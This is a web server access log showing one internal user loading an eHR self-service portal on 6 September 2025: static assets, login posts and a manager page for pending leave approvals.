192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.11.104 - - [06/Sep/2025:11:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:34:01 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:34:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:34:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.11.104 - - [06/Sep/2025:11:34:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:18 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:34:18 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:34:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116
192.168.11.104 - - [06/Sep/2025:11:34:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.11.104 - - [06/Sep/2025:11:34:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 23806 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 23806
192.168.11.104 - - [06/Sep/2025:11:34:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7064 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7064
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:34:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
